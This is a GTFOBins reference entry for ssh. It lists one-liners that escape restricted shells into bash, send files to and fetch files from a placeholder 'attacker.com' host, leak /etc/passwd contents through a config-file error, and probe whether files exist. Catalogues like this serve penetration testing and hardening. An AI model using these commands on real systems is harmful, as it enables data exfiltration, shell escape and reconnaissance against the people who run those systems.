GTFOBins.github.io/_gtfobins/ssh.md
2018-05-28 08:44:53 +01:00

27 lines
857 B
Markdown

---
functions:
execute-interactive:
- description: Reconnecting may help bypassing restricted shells.
code: ssh localhost /bin/bash --noprofile --norc
download:
- description: Fetch a remote file from a SSH server.
code: |
HOST=user@attacker.com
RPATH=file_to_get
LPATH=where_to_save
ssh $HOST "cat $RPATH" > $LPATH
upload:
- description: Send local file to a SSH server.
code: |
HOST=user@attacker.com
RPATH=where_to_save
LPATH=file_to_send
ssh $HOST "cat > $RPATH" < $LPATH
read file:
- description: Read strings from text files. Reliability depends on content of files but works well with /etc/passwd
code: ssh -F /etc/passwd localhost
file exists:
- description: Tests whether a file exists.
code: ssh -i /filename localhost
---